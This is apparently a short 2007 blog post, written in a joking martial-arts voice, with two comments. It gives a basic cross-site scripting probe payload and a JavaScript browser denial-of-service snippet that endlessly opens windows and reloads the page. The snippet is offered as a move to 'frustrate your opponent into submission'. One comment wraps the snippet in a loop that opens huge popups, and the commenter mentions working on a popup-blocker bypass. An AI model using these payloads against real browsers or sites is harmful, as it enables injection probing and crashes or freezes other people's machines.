
Hello my student here I’ll show you the way of the tiger, if a deadly Firefox ninja approaches your dojo with a XSS punch:-
"><script>alert(/XSS PUNCH!/)</script>Then you can respond with the crouching tab hidden dos move:-
self.location = "javascript:window.open('javascript:document.clear(); document.open();document.close();self.location=self.location')";
This move can frustrate your opponent into submission.




Comments 2
for(i=0;i<100;i++) {
Posted 23 Nov 2007 at 11:41 am ¶self.location = “javascript:window.open(’javascript:document.clear();document.open();document.close();self.location=self.location;’,”,’width=2000,height=2000′)”;
}
Please note this technique requires the popup blocker to be disabled, I’m currently working on a technique to bypass that.
Posted 23 Nov 2007 at 12:53 pm ¶Post a Comment